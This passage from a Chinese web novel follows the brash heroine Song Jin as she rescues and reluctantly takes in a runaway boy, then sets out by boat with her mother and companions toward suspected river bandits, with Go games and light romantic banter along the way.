齐铮抢先一步,翻身上马,攥着缰绳控住马匹,居高临下地看着她,嘴唇微动:“小姐,没事吧?” 与此同时,三道惊叫声传来 “砰” “啪” “哎哟” 宋锦冲着齐铮切了一声,转身看着摔在地上小花宁宁,对上她们幽怨的目光,理直气壮:“怎么又摔了?你们俩这么大了,走路都走不稳,我像你们这么大的时候,都能爬五十米的树了” 不等两人回答,一道斩钉截铁的声音从一边传来 “吹牛” 宋锦看了过去,原来是刚才被她踢开的倒霉蛋熊孩子,看着也就七八岁的样子,那一身穿着,应该是有些家底的小少爷,但是浑身脏兮兮的,一看就是多日未曾洗漱的 此刻他捂着肚子呲牙咧嘴,从一旁的地上爬出来,脏兮兮的脸上也多了划痕,看起来摔得不清,但是好歹捡了条命回来 还好意思和她这个救命恩人顶嘴 宋锦挑起眉头,上前揪住他的耳朵,呵呵一笑:“吹牛?我吹你爷爷的牛你个蠢玩意儿,命还挺大的,嘴也大,谢谢两个字会不会说?” “疼疼疼” 熊孩子两只手挥舞几下,就要抓宋锦的手,小花和宁宁拍拍屁股起来,一个人按住一只手,一个直接掰,一个用嘴啃 熊孩子直叫唤:“哎哟疼疼疼我错了错了,谢谢谢谢,快放开我……” 宋锦一把拧开人,拍拍小花宁宁脑袋,赞赏:“算你们还有点良心” 说着,她就抓着两个人的脖颈,回去对面的竹编摊子上,又拿起最大的两个背篓,把两人拎起来往里面一塞,根本不给准备机会就攥着背篓两边一 抬 “哎呀” 小花和宁宁下意识抓住宋锦的脖子胳膊,在背篓里左右摇晃,生怕就这样摔下去了 宋锦勾着嘴角,很快就把抬到半空的背篓放下,看着她们俩惊慌未定的模样,伸手弹弹她们的脑门:“怂” 几番折腾下来,小花已经没了脾气 宁宁虽然内里黑,但外面就是个软包子,只会奶声奶气叫姐姐 好玩得很 宋锦把两个崽拎了出来,抖了抖那大型的竹背篓,抬着递向一边,仰着下巴:“诺,给你,我体贴吧?” 齐铮一言不发,就这么站在那儿,面无表情地看着她,漆黑的眸子里全是谴责 她之前买的东西太多了,他刚才制马全撒了下来,乱七八糟地铺在地上,路上人多,他快速捡起来不得收拾,现在乱糟糟地抱在怀里,看着格外狼狈 宋锦微微心虚,摸了摸鼻子,拎着背篓的手微微弯下,走过去把他身上自己买的东西一个个往背篼里放,一边放一边碎碎念念 “大男人不要这么小气嘛,再说了,也不都是我的东西,你看,这不还是有你的吗?” 齐铮低头看着她手上的瓷娃娃,面无表情地接过放到背篓里面,单手拎起,轻松地挂在了后背,瞬间就更接地气了些 宋锦忍不住调侃:“哎,你要是再换双草鞋,正好可以下地了” 齐铮不说话,他看了看路边的摊子,蹲下身从摊子上拿起个草帽子,出其不意直接往她头上按,压住她的脑袋 宋锦拍了拍他的手,瞪着人取下帽子,踮着脚往他脑袋上按回去 他垂着脑袋,这草帽帽檐宽大,遮住他上半张脸,下巴线条分明冷硬,这么一来,倒是有点深藏不露的侠客风了 宋锦手按在他的脑袋上,看着近在眼前的下巴,忍不住伸手摸了摸 齐铮在外多年,皮肤其实有些粗糙,但是这人是典型的骨相美,剑眉星眸,五官大气俊美,侧脸瘦削硬实,纯手摸着都能感受到皮肉下骨骼的坚硬,糙一点更显男子气。 宋锦摸了摸,顺着侧脸就来到肩膀上,手下臂膀结实,隔着一层衣物都藏着满满的爆发力 她想起那日在牢中时候,她咬了人肩膀一口,想到当时满嘴的血腥味,她舌头转了一圈,舔舔唇,伸手按在上次的咬的位置上,好奇:“上次咬的是这?” 齐铮绷着身子,神色一点点沉了下来,低声警告:“宋锦” 宋锦切了一声,这才不情不愿挪开手,下一秒回收又拉着帽檐一顿折腾,然后大步跳开,躲过齐铮伸出的手,做了个鬼脸 “够了吧老板?” 她掏出一块碎银子扔给那边的老板结账,转过头,扶着下巴,看向那边的小花和宁宁两个 她和齐铮说话的间隙,刚才的熊孩子又跑了过来,被小花和宁宁两个按在地上打,没有一点儿反手之力 也不知道是哪家跑出来的小少爷 不过跟她没有关系 宋锦过去把小花和宁宁来开,拍了拍她们的衣服,语重心长:“走了,别打了,宁宁别用嘴咬,脏不脏?还有你,小花,动手没轻没重,把人打伤了你出钱医嘛?” 两个小丫头面上老实下来,背地里狠狠瞪向那熊小子 熊孩子熊是挺熊的,但也不哭,就捂着一手牙印的胳膊站起来,呲牙咧嘴:“哎哟哎哟,我手断了,你们得赔钱” 宋锦一脚踢了过去,不轻不重,给人踢了个屁股蹲,然后踩在他胸口上,微微一笑:“我刚才还救了你一命,你说该怎么算钱?” 熊孩子眼珠子一转:“我没钱,救命之恩,当以身相许,这样吧,我跟着你走,帮你干活” 宋锦:“我还得包你吃住?我看着这么像冤大头吗?给我老实点,你这离家出走,爱去哪儿去哪儿,别跟着我” 熊孩子一把抱住她的小腿,焦急:“我要去梁城,姐姐你带我去梁城吧,姐姐你一看就是大好人大善人,你就带我去吧” 宋锦伸手指着自己,惊异:“我?好人?完了,这熊孩子不会脑袋被我踹坏了吧?” 齐铮嘴角一抽,不知该如何回答 就,自我认知还挺清楚的 熊孩子紧紧扒着她的腿不放,又开始碰瓷起来:“哎哟,哎哟,脑袋疼,好像确实破了,我不会要死了吧?杀人可是要蹲大牢的啊,爹啊,娘啊,云云啊,我要死了,我再也见不到你们了” 宋锦被嚎叫得头疼:“停停停,别在这里鬼哭,喊爹娘就算了,云云是谁?这么小就早恋了?” 熊孩子立马止声:“是我家大狗,可威武了” 宋锦:“是吗?狗养在梁城?” 熊孩子蔫了下去:“死了” 宋锦:“那你爹娘?” 熊孩子神色落寞:“也没了” 宋锦:“你跑出来?” 熊孩子声音带着哭腔:“有人抓我,我要回去为我爹娘报仇,我知道凶手是谁” 宋锦声音轻柔下去:“真是可怜的孩子” 熊孩子吸吸鼻子,仰着头看着宋锦,红着眼:“所以姐姐,带我回梁城好不好?” “好” 宋锦看着他这可怜的模样,神色也软了下去,在他擦眼泪的时候,微微弯腰伸手摸摸他的脑袋,一抓一扔,拎起一边的小花宁宁两个撒腿就跑 “个屁啊” 她看着像是冤大头吗?这么好骗? 她现在已经左一个小花,又一个宁宁,还要背后再来一个?真当她开幼儿园的啊 宋锦拎着两个小孩子跑得飞快,没一会儿就绕了几个街道,她停下来看了看身后,空空荡荡的,没有那个小麻烦,她这才把小花和宁宁放了下来,深深呼了口气,擦擦汗 “我的娘咧,不逛了不逛了” 小花不屑:“胆小,一个小屁孩有什么好怕的?” 宋锦没好气:“还小屁孩?你个年纪还不到他一半的算什么?小小屁孩?” 她娘要是知道今天这事,又得批评她了 她指着两个崽子:“这件事回去不许说,听到没?” 两崽:“知道了” 宋锦放下心来,也不担心没跟上来的齐铮,带着两个人绕了路往玲珑阁回去,路上不忘买点好吃的回去,打算哄哄人 自从她昨日买了金衣之后,她娘就不理她了 哎,娘也真是的,她闺女现在在干大事呢,她自豪骄傲就行了,想那么多干什么嘛 她们现在今时不同往日,有这个机会就要大着胆子来才对,现在有权有地位都畏畏缩缩,等哪天打回原形了才亏 宋锦晃着脑袋,溜达着往回走,走着走着,她停了下来,瞥向另一边的转角处,再看着被绳子拴着的两个崽子,想了想还是轻轻叹了口气,轻喃:“算了,也不差这点时间” 说着,她上前两步,拎着两个小崽子大步朝前 “麻烦死了,慢吞吞的,走快点” 挂在半空的小花宁宁:…… 好累啊,和郡主出门比流浪还累 宋锦就这么一路拎着两个人走出了破旧的小巷,来到了外面热闹的人群,身后的人影顺着钻入人群,看不清长相 她也不在意,放在人牵着,打着哈欠朝着玲珑阁走去 广宁府主要经济就是漕运,每日来往的人不断,人多嘈杂,什么人都有,但是好歹是府城,不至于太过分。不过若是走出城,去到渡口的方向,那就得睁大眼睛了 宋锦完全不惧 若只有她一人带着牛铁兰,那自然能多低调就低调,安全最重要。但是现在还有齐铮和曲茂泽在,她得属王八才能按着性子低调 两个人一个比一个根底深,也勉强靠得住,她不用担心牛铁兰的安全,其他的就没什么好担心的了 想着明日就要离开了,宋锦的好心情又一点点升了起来,连带着脸都跟着红了起来,那双凤眸狭长,里面碎光闪闪,像是深渊里染着的鬼火,不知道什么时候就要爆开 她顶着这一副亢奋的模样回到了玲珑阁,本来打算上楼找人的,没想到一进门就看到一个有些眼熟的脏兮兮的熊孩子 他坐在她大美娘旁边,狼吞虎咽,远远的都能看到飞溅的食物残渣 那画面,就像是漂亮的兰草旁突然闯来了臭虫,在那里闪着脏兮兮的翅膀 宋锦看得眼前一黑,她死死瞪向同样在桌边的齐铮,眼中的鬼火转为怒火,狠狠咬牙 这人就是故意的吧? 男人这么小气,真的会没人要的 可恶 第104章 是进是退 “真的要带上他?” 马车内,宋锦看着里面多出来的小崽子,怎么看怎么都不顺眼,怎么看怎么也想不通 “这一看就是大麻烦,你们这么闲的?他家里都没人了,带过去扔了?” 这小东西之前说的,父母双亡,狗也死了,就留下他一个人想去报复仇家 真假不说,后面怎么办? 宋锦苦大仇深地看着人,以最坏的可能看人:“再说了,指不定他就是那些水匪派过来的,苦肉计啊,你们都那么大人了,怎么……” “行了,唧唧歪歪一天了,少说两句,听得我耳朵疼”牛铁兰没好气地开口,止住她念了一路的嘴,“差不多就得了” 宋锦嘀咕:“但是真的很麻烦啊” 她虽然也算是个喜欢多管闲事的人,但是多是一次性的那种,当场管了就够了,就像昨日救这小崽子 救过就救了 不似现在把人带上,后面又是一大堆麻烦事,外面人那么多,哪里管得完啊 她撇了撇嘴,看向齐铮的目光满是嫌弃:“所以你以前走江湖也是这样?” 难不怪他去到哪儿都是事呢,感情都是自己找的 齐铮聪明地选择闭嘴 若是没遇上就算了,遇上了怎么也能不能见死不救,更何况,这小崽子身世明显不简单 宋锦撇嘴,又看回那边小崽子身上 相比起昨日的灰头土脸,他现在收拾了一下,浓眉大 眼,鼻梁高挺,眉眼间带着机灵,八岁的孩子已经有了日后俊朗的雏形了 因为知道宋锦不喜欢他,他一路老老实实,任由宋锦嫌弃也一句话不说,就想着回梁城 “喂,梁济水,你真不是那些劫匪派来的?”宋锦眼底幽深,里面一片寒凉,“现在坦白还来得及,不然,是真的会没命的” 她可没有尊老爱幼的美好传统,这小崽子不跟他们一起她能睁一只眼闭一只眼,真算计到她头上了,她也不会手软 梁济水眼睛瞪大:“小爷看着像水匪吗?我就是回家,回家” 面对宋锦的猜测,他脸上没有一点慌乱,眼神清明,能清楚看到清澈的愚蠢 宋锦还是狐疑:“你就不怕我们把你卖了?” 梁济水白眼:“就你们这一身,缺那两个钱吗?就是缺钱,卖我就更不划算了,我家里还藏着点钱,等报了仇都给你们” 宋锦:“谁稀罕两个钱啊” 她翻身搂住牛铁兰的腰,把脑袋埋进去,嘟囔:“好烦啊,娘,不管他我们可以早日到那边,你不着急啊” 牛铁兰淡然:“不着急,早两天晚两天都一样” 在都城的时候她还是有些急,随着距离一点点拉近,眼看着乘船过去不到两日就能到达目的地 牛铁兰甚至希望可以再慢一点了 二十来年过去了,物是人非,她想了一路,也没想好到时候该如何和人相处,又该说些什么 她伸手揉着宋锦的脑袋,柔声:“行了,别想那么多,我们都在呢,你操那么多心干什么?” 这闺女,改操心的时候不操心,不该操行的,一套一套的 宋锦撇着嘴,就这样埋在她娘的怀里,搂着人的腰靠着不动 她是喜欢撺事,但是不喜欢别人给她撺,尤其是她现在已经挑好事情了,突然多了梁济水的事 她怕出现什么意外 她皮糙肉厚无所谓,她娘细皮嫩肉的 哎呀,好烦啊 …… 马车就这样走出广宁城,来到了半时辰车距的渡口处 渡口处人声鼎沸,到处都是喊客的吆喝声,宽大的渡口处密密麻麻都是船只 宋锦掀开车帘看去,那布满了船只的渡口两侧,是已经枯萎大半的河床,便是如此,江河依旧还有三四十米的长度 若是雨季,定然更为壮观 宋锦目光挪动,精准地在人群中抓到几名眼神闪烁的水夫,他们一个个拿着长长的竹竿子,把其他想要上前的人拦,精准地围了过来 广宁府内守卫众多,宋锦又过于招摇,住在最好的酒楼,那些人想要秘密出手可不简单,但是出了城门就不一样了 她看着人群中眼熟的人,勾起了嘴角,放下车帘,转头对着最为脆皮的牛铁兰,语重心长地嘱咐:“我们下车吧,娘,你到时候就跟紧他,一切以自己为重哈” 牛铁兰瞥她:“行,我一进去就找个箱子钻里面” 宋锦讪讪:“娘你这说的” 曲茂泽坐在一边,轻笑:“下车吧,金金不用担心我们,我和你娘能照顾好自己” 宋锦看着他从容的模样,撇了撇嘴,嘀咕:“谁担心你了” 这人活蹦乱跳的鲜活劲,与其担心他,她还是担心自己吧 她大步朝着外走,齐铮已经站在了外面,他还是一副护卫的打扮,老实又沉默,除了那张格外俊美的脸,看起来没有一点维和 不过随着宋锦跳下马车,他的俊美也有了合理的理由 有钱的小姐们,可不就是喜欢这种调调嘛 上前来‘喊客’的船夫和周围人眼神对视,下一秒热情上前 “公子小姐坐船不?我们船夫十来年老经验了,对周围熟得很,哪儿都能去” 宋锦没有回答,而是拿起扇子扔给齐铮,趾高气扬:“臭死了,给我扇着,还有你们几个,都离远点,这是多久没洗澡了?臭死了” 齐铮发自内心地感到无奈:“小姐” 没必要,真的没必要 宋锦不管,继续挂着骄横人设,怒瞪:“你在管我?谁是小姐谁是护卫?信不信我把你卖了?” 齐铮:“……信” 他拿着扇子给她轻轻扇着,称职地张开手拦住其他人 “我家小姐爱洁,不是有意的,各位不要介意。” 马车上,曲茂泽跟着下来,然后掀着窗帘,伸手扶着牛铁兰 两个人站在那儿,便是什么都不说,就让人如沐春风,感受到一阵细雨微风的轻柔 牛铁兰看着宋锦旁边老实扇风的齐铮,给了宋锦一个警告的目光 宋锦头皮一紧,抢回扇子,轻咳两声,正经道:“我们要去安东府,能去吗?我还没坐过船呢,不过听他们说那边有水匪,不会碰上吧?” 最前面的船夫穿着黑色衣服,裸露在外的手和脸黝黑,看起来老实巴交,他眼神闪烁,笑呵呵上前:“哪儿能啊,水匪哪儿天天都有?再说了,这土路上还有土匪,总不能不走吧?” 宋锦:“这倒也是,不过确定没问题?我们就四个人,真碰上水匪了,我们可打不过。你们船上多少人?能不能打?啧,都怪那群臭男人,一点担当都没有,说了两句就跑了” 之前和他们一路的曹老板和护卫们一大早就换了行头回都城,顺便把小花和宁宁也带了回去 他们一行不知道什么时候回去,两个孩子跟在身边总归碍事,也不安全 宋锦四个人自己人,做什么也方便些 面对宋锦的抱怨,船夫在心里吐槽,就这性子,人能把她安全送到这边已经很能忍了 他没有一点怀疑,笑:“您就放心吧,我们船上有六个人,绝对没问题。虽然有些水匪穷凶极恶,但是大部分还是讲道理的,不会有事。再说,不只小姐你惜命,我们船夫虽然卑贱,但也还是想多活几年” 宋锦恍然:“你说的有道理,你都 不怕,我怕什么?行了,就你吧” 船夫心梗:“……好嘞,小姐您这般人物,肯定是要包船,我就不吆喝其他人了?” 宋锦赞赏:“有眼光,带路吧” 船夫扯扯嘴角,在心里骂骂咧咧,脸上还是乐呵呵:“好咧好嘞” 情况已定,周围的其余船夫对视,一个个让开路子,看着他们几人朝着码头走去,低声 “回去传消息吧,让二哥他们准备好” …… 宋锦他们就这么‘毫无防备’地上了船 这船还挺大的,船底能装上千斤的货物,船上修了几间木房间,和外面酒楼肯定没法比,但是作为一只船还是很不错了,去掉船夫,还能能轻松载个三四十人 当然,现在只有宋锦他们四个人,还有个梁济水 他一上船就瘫在甲板上一动不动,跟个面团似的,被拎回房间躺着 也不怪他心眼这么多,在这之前也不自己偷着上船回梁城,感情是晕船啊 宋锦没多管他,小心扶着牛铁兰,母女俩站在船边,冷风直面砸来,带着溅起的水花 她担忧:“娘,风大,小心风寒” 牛铁兰撑在护栏上,摇了摇头,看着前方滚动的江水,眼神中带着欢喜:“我还是第一次这种大船” 宋锦觉得好笑:“那也得注意风寒啊,现在天凉,下次等夏日我们再来坐” 牛铁兰轻声:“好啊,等下次我们再继续坐” 见她确实很喜欢,宋锦想了想也没多劝,反过身子,撑着护栏往后一仰,大半个身子蹿出船,神色松弛 真好啊 若是上辈子,她便是坐在铁皮轮渡上,也随时提着心,担心江河之下的异兽蹿出,更别说这般探出身子了 她是松弛了,旁边的牛铁兰被吓了一跳,没好气地抓着她的胳膊把人攥了回来:“你小心点” 宋锦哈哈一笑,张扬又骄傲:“娘你别怕,我不会掉下去的” 她上辈子没少在水下战斗,便是这一世没这个条件,她也在山里湖泊中练过,在里面憋个两刻钟完全没问题 牛铁兰才不管她憋不憋,不轻不重地拍了拍她的胳膊,没好气道:“去里面去,冷死了” 宋锦憋着笑,挽住她的胳膊:“行吧行吧,这可是你说的哈,去里面去” 牛铁兰没好气地嗔了嗔她,离开了船边,朝着中间走去 曲茂泽和齐铮就坐在这儿 两人中间摆放着棋盘,上面黑白棋子密布 曲茂泽指尖黑棋落下,一点点将白棋包在其中,无半分还手之力 他嘴角噙笑,声音温和,又带着不容抗拒的强势:“你看,纵是白棋全在你,我黑棋三分,便是各走各的,依旧轻松逼死你,知道为什么吗?” 齐铮看着棋盘上惨不忍睹的白棋感叹:“因为您厉害” 曲茂泽轻轻一笑,又一棋子落下,定了这必死之局,一字一字 “不是我厉害,是你太弱了” 齐铮沉默下来 曲茂泽嗤笑:“快一年了,为臣为子为君,你觉得你哪一个做得最好?” 齐铮哑然 为子,他享受齐晔的宠爱,却又不咸不淡,疏离冷漠,甚少关怀于他,甚至保持警惕 为臣,他学识浅薄,虽有职位,但一事无成,便是出外,也被齐晔安排好人手,功劳在他,但事在他人 为君,他不与朝臣联络,不与皇子争执,看似稳妥,实则孤身一人,便是有齐晔保他,顺利当上太子皇上,没有信任人手,日后也举步维艰 曲茂泽见他神色,轻嗤:“看来还没那么愚笨,便是他将菜夹于你嘴,也得你自己动嘴咽下。若真无意,早早脱身离去,还能半生潇洒清闲。若有意,就别故作清高,好事不是每次都会顺利落头上” 当初见到齐铮,曲茂泽也是看他为人正气,看似木楞实则警敏,又有一身武艺在身,才把人带回去到,也因为此才在后面以生死为他铺平前路 现在前路平了,他还不要脸拱自家小白菜,若他还是以前那样,曲茂泽是真会后悔 曲茂泽看着沉默的齐铮,又撤下一子,轻声:“但你运气确实非凡,但凡早上月余寻得她们,也不会是现在这个局势。来吧,我再撤一子,是进是退,你自己选。” 他没有说笑,若是宋锦和牛铁兰早月余被找到,他定然不会这么随意地就假死脱身,撤去首辅的位置。他一走,宋家的权势散去大半,留下的是一堆烂摊子 母女俩再也享受不到他在位时候的辉煌 可惜了 曲茂泽心里还是有些遗憾,但是事已至此,他想这些也无用,左右,宋商死得不能再死了。 他内里思绪不断,面上却是一如既往,让人看不出半分想法,他就这么噙着笑,看着对面的齐铮 抛开那点私人恩怨,曲茂泽不得不承认,齐铮还是有些姿色在身上 身形上,他高而健硕,肩宽腰细腿长,便是穿着最普通的灰色粗布衣服,依旧是灰草堆里最笔直的那棵。脸就更别说了,剑眉星眸,俊美大气,便是整天顶着木头脸,也赏心悦目 但是曲茂泽还是看这小子不顺眼 齐铮不知他心中所想,只是在那不容忽视的目光下,后背冷汗阵阵,强迫自己注意力集中在棋盘上 退是死 进,也是死 虽然进退都是死,可若是连试一试的勇气都没有 齐铮执起白棋 曲茂泽也收回落在他脸上的目光,看着他抬起的手,从身形思索到内里 齐铮拥有作为帝王最大的优点 善良和稳重 但这也是最大的缺点 善就容易被乱用,容易姑息,容易被得寸进尺 稳就是平庸,一日日一年年,永远不变的稳,就像火炉中的通红的十块,总有一日会爆炸 帝王要善,要善利他人 他要稳,稳中求进 他要狠,狠中断尾 若他只平庸无助、碌碌无闻,又和恭王有什么区别呢?值得他们付出那么多心血吗? 曲茂泽的目光平淡,嘴角的笑甚至从始至终都没有落下 是退,还是进 是稳,还是莽 齐铮身形紧绷,冷咧的水风阵阵袭来,他盯着那杂乱的棋盘,捏着白棋的手一点点落下,年幼时的回忆阵阵袭来 师傅总是让他稳 他也必须稳,他的身世复杂,身后不知什么仇怨、也不知多少人追踪,若是不稳,稍不留神,就会陨落 他也必须装,要装作清高,要装神秘,要装懂装会,才能不被那些混迹江湖的老油条欺骗 江湖杂乱,光有高超的武艺只会被当做盘中餐,人心永远强过武艺 所以他也慎 皇家秘事多,阴谋诡计防不慎防,他必须远离所有可能的危险,以求自保 但是真要一辈子如此吗? 身为王爷,却谨小慎微,藏于王府道观 他真想这般藏一辈子?有真的甘愿于此,不想向上? 齐铮心想,他果然也只是俗人罢了 他捏紧了白棋,重重往前落在棋盘中心上,指尖微动,棋盘宛如蜘蛛网一般,从中心往外裂开,一层一层 黑白棋子一粒粒掉落,砸在木质甲板上 齐铮敛着眸,尝尝呼出心中的热气,抬头颔首,漆黑的眸子中满是坚定:“承让了,曲叔叔” 曲茂泽嘴角的笑一点点消散,他微笑:“担不得这声叔叔,叫我名字就行” 谁稀罕多这么个小辈啊 齐铮扯扯嘴角,露出一个不太自然的笑容,道:“您是长辈,应该的” 曲茂泽面无表情:“小兔崽子,别得寸进尺” 齐铮扯着笑容,恭敬:“好的,曲叔” 曲茂泽眼皮跳起,这一刻,透过齐铮这张脸,竟然有种面对年轻时候的齐晔的感觉,真的太糟糕了 想到那人以前疯狗一般的模样 他现在再说稳重也挺好的,还来得及吗? 第105章 下水不如下海 “来来来,我也来” “围棋啊,这玩意儿我会,我学过” “金角银边草肚皮,立二拆三,三拆四” …… 牛铁兰船边的小凳子上,手上端着热茶,瞥了那边热闹的三人,没有一点掺合进去的想法 她闺女她还不知道吗?臭棋篓子一个,只会折腾人 她喝着热茶,看着江河的两侧,一望无际的坦途,能看到密密麻麻的稻田谷粒,应该是年底第二茬的,也不怪江南自古富裕 土地平坦宽阔,比北边气温偏高,一年能种两季粮食,水源丰沛 她原来就是出生在这种地方啊 虽然还没正式到家,但是牛铁兰已经有了一种心安的感觉 虽然现在情况并不安稳 这样的两岸坦途也就只有一个时辰的距离,到时候有一个人时辰的山涧水道,天再一黑 牛铁兰看向一旁和气的船夫,他皮肤黝黑臂膀结实,一看就是长期在水里钻的,水性很好 而这样的船夫,船上有六个人 加上他们这边,船上总共十个人,梁济水不做计数 等到船只驶入峡谷,天色昏黄,左右无人,这偌大的船只就宛如大翁,只是不知道 到时候是谁捉谁了 反正现在,两边的人都没把对方放在眼里 一路上说说笑笑,还真就像是普通乘船人和普通船夫一般 牛铁兰轻轻叹气 她这辈子,上一次冒险还是带着宋锦离开宋府那次,当时她策划了很久,才一点点找准时机离开,去到泗安县那么个小地方 那时候她一个人冒险,全程紧绷小心,这次,是一群人,她虽依旧少不了紧张,但是也难免多了一丝兴奋 她又喝了口热茶压一压 身上突然多了件披风,挡住那略显冷冽的冷风 她回过头,对上曲茂泽含笑的脸,他向前一步,侧身站在方向,问:“冷不冷?要不要回去歇息” 牛铁兰幸灾乐祸:“她棋艺如何?” 曲茂泽脸色一僵,轻轻叹气:“好臭的棋篓子” 走一步悔一步棋,偏偏还不让你悔,必输的局死犟死犟,一盘棋的功夫能下十盘,还不能说她 曲茂泽手搭在牛铁兰肩上,轻声:“随你” 牛铁兰的幸灾乐祸去掉,一巴掌拍掉他的手,恼:“哪里像我了?我又不喜欢玩这个,可真有意思,好的都像你,差的都随我是吧?” 曲茂泽轻笑,坦然接受:“好,随了我,行吧?” 牛铁兰给了个白眼,眼神递到一旁的凳子上:“别站在那儿挡着我看风景” 曲茂泽勾勾唇,抬着凳子在原地坐下,遮挡住大半冷风,那半散的发丝随风飘散,有些凌乱,又显得格外自在 他道:“广宁府这边水平,风也小,若是往回走,过武陵那一段,再好的船夫掌船,人也得攥着杆子,不然就会摔在地上” 牛铁兰眼神微动 曲茂泽又笑:“等你身体好了,我带你寻一处湖习游水,日后去过一遭” 牛铁兰有些抗拒:“会晒黑” 还不是一点半点黑,她们镇上也有河,那些个小崽子经常去游泳,一天下来,基本上都是白白净净进去,漆麻黑出来 见她一副怕黑爱美之样,曲茂泽失笑,却也没说什么黑了也美 黑肤虽也别有一番韵味,但他确实喜欢白的 她全身上下无一处不宛如白玉,染上黑意,便生了瑕疵,但是凫水 曲茂泽:“可以晚间去,挑月圆时候” 牛铁兰意动,但是看着他意味深长的眼色,又压了下去,嗔恼:“要去你自己去,我要学也让金金教我” 曲茂泽哑然,想说自己没那么禽兽,但是稍稍一想那个画面 皎洁月下,粼粼湖面,人影浮动 嗯,他确实是禽兽 他思绪微动,牛铁兰立马明了,羞恼地踩了他一脚,起身挪了凳子转去另一边 …… 另一边,宋锦还在和齐铮‘认真’下棋,两个人的围棋水平可以说旗鼓相当,但是道德水平嘛 “不行不行,下错了,我重新来” “咳,你这个是自己下歪的哈,跟我可没关系” “赢了赢了,手伸出来” …… 宋锦兴奋地掰着手指,凤眸闪烁着晶亮的光,一看就憋着坏 齐铮低下头,看着棋盘上乱七八糟的黑子,还有自己明显少了七八粒的白子,沉默以对 宋锦拍拍桌子,理直气壮:“愿赌服输懂不懂?” 在她强烈要求下,齐铮伸出了手,掌心朝上,上面茧子浅薄结实,是日复一日练剑磨出来的,连指纹痕迹都尤其得浅 有些粗糙,说不上好看 宋锦瞅了瞅自己的,也只能说半斤八俩,她用力掰掰,骨节咯咯声作响:“你可准备好哈” 齐铮静静:“来吧” 宋锦咧着嘴,手上蓄着力,狠狠一拍 啪的一声,掌心相贴的地方红意弥漫开,一直到手腕处 力的作用是相互的 宋锦呲了一下,再看齐铮面无表情的模样,撇了撇嘴 无趣 想着,她就要收起通红的手,只微微一动,刚才还老老实实的大手迅速覆上,攥住她略小一些的手,紧紧包住 宋锦眉头挑起:“和我比力气?好啊,来吧” 齐铮嘴角一抽,一言不发,在她跃跃欲试的神色下,一点点加大指间力道,然后插入她的指尖,一点点松开他捏紧的手,十指紧扣 宋锦看着紧扣的双手,眨了眨眼,下意识挣了挣,但是挣不开 他用力握得死死的,除非使上大力 好家伙,现学现用啊 宋锦伸出另一手戳他的手背,声音低了几分,避免被那边看到:“你干嘛?” 齐铮端正严肃:“把脉” 宋锦气乐了,揪着他的手腕,过于结实了,不太好揪,她转手用指甲掐着:“脉在这里” 齐铮漆黑的眸子盯着她:“你仔细听” 两个人十指紧扣,手心贴着,皮肉下脉搏微动 一快一慢 一下,两下,渐渐的,本来不同的搏动渐渐合在了一起,像是蝴蝶煽动的翅膀,细微的,又带着阵阵酥麻 宋锦神色有些不自在了起来,想要抽手,但是看着齐铮那淡定的模样,心底的好胜心又涌了上来 抽什么抽?不就是牵个手嘛,多大不了的事 她也保持不动,仰着下巴,就这么看了回去,微瞪着眼睛,手上力道也在加重 两个人就这么看着对方,握着的手一点点变红,上面筋脉一点点鼓起 也不知是谁先卸了力,他们两人同时松开了手,再看向对方,眼神微微闪烁 宋锦轻轻捏着手:“喂,在外面这么多年,真没有什么红颜知己露水情缘?你都这么大年纪了,真有也没什么” 不就是前任嘛,多正常啊 宋锦捏着手的力道一点点加重,凤眸一点点眯起,说着不在意,眼底的凶意则说着 敢有就打碎脑袋 齐铮掌心挣动,眼皮一点点垂下,沉默了很久 咯咯的骨节声一点点加大 他抬起眼,眼中笑意闪过,又带着明显的无奈:“我看着这么闲吗?” 他那会儿自己破事一堆,居无定所,身世复杂,可没有精力去想这些 而且 齐铮叹气:“二十也不叫一把年纪” 他去年被找回还不满十九,未成家立业,也不算奇怪吧? 宋锦眯着眼:“你确定?现在承认还来得及” 若是日后再冒出什么乱七八糟的,她绝对打爆他的脑袋 齐铮颔首:“确定” 事不过三,宋锦张嘴就要第三次确认 齐铮打断她,反问:“下月科考,严盛和舒程浩应该已经赶往都城,倒是你又如何?” 宋锦一个惊诧:“舒程浩?他考上了?这年头科举这么水的?” 那可是她的纨绔同伙啊,考上举人什么的,靠谱吗? 齐铮:“……都上了,严盛是解元,舒程浩运气不错,最后一名,有机会参与会试” 但是再后面,应该难了 宋锦没想这么多,在她看来,舒程浩能考上举人已经是祖坟冒青烟的事了,再多的,下 次再来呗 倒是严盛 虽然早知道他厉害,但是这也太厉害了吧 宋锦震惊之下,兴奋地站了起来,跑到那头牛铁兰的旁边,抱住她 “娘娘娘,你知道吗,舒程浩那傻小子竟然考上举人,虽然是吊车尾,但是竟然考上了,要不是他上次牢里蹲了,我都得怀疑他家收买了人。还有严盛,那小子是解元啊,你眼光怎么就这么好啊,不愧是我娘……” 严盛家里穷得叮当响,若不是牛铁兰慧眼识珠,他哪儿有可能进学堂读书啊 要知道,对于贫苦人家来说,读书可不只是束脩书本的费用,还少了个劳动力 严盛能有今日,少不了牛铁兰帮着他读书,也少不了宋锦认识的文渊学院前院长,他才有机会面试 现在他考上解元出息了,宋锦还是与有荣焉 牛铁兰看着她这副纯粹的兴奋劲,不知道是该放心还是无奈 在林溪镇的时候,她们母女毫无背景,又是女子之身,便是有些家底,也耐不住宋锦从小张扬,有碍嫁娶 严盛虽然家庭艰苦,但是为人聪敏,又擅读书,仪表堂堂,是牛铁兰最看好的女婿人选 他也上心 可惜,严家父母弟妹难以相处,他还未有功名它们便小人得意,牛铁兰也淡了些心思 她这边无所谓,她就怕宋锦上了心,到时候被伤了心受委屈 现在看,她想得太多了 牛铁兰叹气:“我知道” 宋锦抱着她,脑袋压在她脑袋上,惊讶:“娘你怎么知道的?” 牛铁兰无语:“你忘了宋行之是干什么的了?” 那人看似风流散漫,但是心思敏锐,在泗安县短短时日就猜到她的心思,留意着那边的情况 科举名单一出来,就和她说了 至于为什么不和宋锦说 牛铁兰也理直气壮,声音淡淡:“你都没问,有什么好说的?” 宋锦控诉的神色收回,挠了挠头,她好像确实没问 她那段时间又是忙着操心她娘又忙着家里铺子,还被抓进去关了几日,哪有时间想他们啊 宋锦很快就说服了自己,得意地抬着下巴:“以前是我们当他是未来大腿,现在,那可就轮到他们了嘿嘿,娘,你说他们日后见到我是不是得下跪行礼?” 这小人得意的模样,牛铁兰简直没眼看,残忍戳破她的美梦 “他们身有功名,见官不跪” 宋锦立马没了兴趣,撇嘴:“没意思” 